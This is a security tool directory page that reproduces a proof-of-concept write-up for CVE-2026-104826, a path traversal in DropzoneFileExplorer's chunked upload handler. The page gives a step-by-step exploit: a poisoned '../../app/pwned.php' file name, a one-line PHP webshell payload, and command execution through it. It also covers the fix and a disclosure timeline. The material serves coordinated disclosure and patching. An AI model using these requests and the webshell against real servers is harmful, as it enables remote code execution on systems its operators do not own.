Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-104826 — Proof-of-concept exploit chain for CVE-2026-104826, a path traversal in DropzoneFileExplorer's chunked upload handler that writes a PHP webshell for remote code execution. | Kitploit
Tools/GitHubGitHub/kiwknr/cve-2026-104826
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access Tool
GitHubkiwknr/cve-2026-104826

CVE-2026-104826

Proof-of-concept exploit chain for CVE-2026-104826, a path traversal in DropzoneFileExplorer's chunked upload handler that writes a PHP webshell for remote code execution.

View Repository
11 day agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-104826 - Path traversal to RCE in DropzoneFileExplorer

The resumable (chunked) upload handler trusts the client-supplied fileName all the way to fopen(). Feed it ../../ and you write outside your allowed folder, out of the storage root, into the web root. The app serves PHP, so the file you plant runs.

Project: KeepCoolCH/DropzoneFileExplorer

CVECVE-2026-104826
AdvisoryGHSA-7626-89vx-5rpc
ClassCWE-22 (Path Traversal) -> CWE-434 -> RCE
Authauthenticated by default, unauthenticated if AUTH_ENABLE=false
CVSS v4.08.5 High (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H)
Affectedv1.1 (tested at commit 68858e0)
Fixed inv1.2
CreditKanarat Kaeothong (Axiom0x)

Where it breaks

Two functions matter. uploadInit takes fileName from the request body and keeps it with nothing but a trim() (inc/functions.php, around L2080):

$fileName = trim((string)($body['fileName'] ?? 'file'));   // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json

uploadFinalize later reads it back and assembles the output path (inc/functions.php, L2192-2216):

$destDir     = norm_rel((string)($meta['destDir'] ?? ''));       // normalized
$relPath     = norm_rel((string)($meta['relativePath'] ?? ''));  // normalized
$fileName    = (string)($meta['fileName'] ?? 'file');            // NOT normalized

$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs);                        // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
    $finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
    ensure_inside_allowed_roots($finalDirAbs);                    // dir is checked
}

$finalName = $fileName;
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;     // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b');                                 // arbitrary write

ensure_inside_allowed_roots() is fine on its own. It calls realpath() and makes sure the path stays under the user's roots. The problem is what it gets handed. $destBaseAbs and $finalDirAbs are both validated, but $finalAbs, the one that actually contains the attacker's fileName, never is. fopen() gets the raw .../shared/../../app/shell.php string and the OS collapses the .. for you.

Worth noting: every other write path in this codebase either runs the composed path through ensure_inside_allowed_roots() or wraps the name in basename(). This one does neither. It reads like a spot that was refactored and the final check got lost.

Reproduce

Stock v1.1, default config (AUTH_ENABLE=true). Actor is a normal user lowpriv whose only folder is shared.

  1. Log in as lowpriv (grab the CSRF token off the login page, then POST auth_action=login).

  2. Confirm the sandbox actually works. Uploading straight into someone else's folder is refused:

    POST /index.php?action=uploadInit
    {"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
    -> {"ok":false,"error":"Access denied"}
    
  3. Use the allowed folder, but poison fileName:

    POST /index.php?action=uploadInit
    {"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
    -> {"ok":true,"uploadId":"..."}
    
  4. Send the payload as one chunk:

    POST /index.php?action=uploadChunk   (multipart)
    uploadId=<id>&index=0&total=1  + file field "chunk" = <?php system($_GET['c']); ?>
    -> {"ok":true}
    
  5. Finalize:

    POST /index.php?action=uploadFinalize
    {"uploadId":"<id>","policy":"overwrite"}
    -> {"ok":true,"path":"app/pwned.php"}
    

    The response reports app/pwned.php. The app itself is telling you it wrote outside shared and outside the storage root.

  6. Run it:

    GET /pwned.php?c=id
    -> uid=... (command output)
    

From my own run against a local instance:

GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...

GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64

See poc/exploit.py for the full chain (login, CSRF, poison, chunk, finalize, execute).

Impact

Anyone allowed to upload can write a file wherever the PHP process can write, no matter what the per-user folder rules say. A .php file in the web root is remote code execution as the web user. With AUTH_ENABLE=false there is no login step and it is straight unauthenticated RCE.

Fix

In uploadFinalize, cut fileName down to a bare name before opening it, and re-check the composed path:

$finalName = basename($fileName);            // kill any path component
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs);      // and verify the real target

basename() alone stops the traversal. Adding the ensure_inside_allowed_roots($finalAbs) check is the belt-and-suspenders version, and it matches how the rest of the code already guards writes. Same treatment needs to go on the rename policy branch (around L2210) where $finalName gets recomputed. The maintainer landed this in v1.2.

Timeline

  • 2026-07-26 found it, built and ran the full chain against a local v1.1
  • 2026-07-27 reported privately (GitHub Security + email to the maintainer)
  • 2026-07-27 private GHSA opened (GHSA-7626-89vx-5rpc)
  • 2026-07-28 maintainer confirmed and shipped v1.2, advisory published
  • 2026-10-02 GitHub CNA assigned CVE-2026-104826

References

  • Advisory: https://github.com/KeepCoolCH/DropzoneFileExplorer/security/advisories/GHSA-7626-89vx-5rpc
  • CVE record: https://www.cve.org/CVERecord?id=CVE-2026-104826

Coordinated disclosure, fixed before this went public. PoC is deliberately aimed at a local test instance. Don't point it at anything you don't own.

Download Tool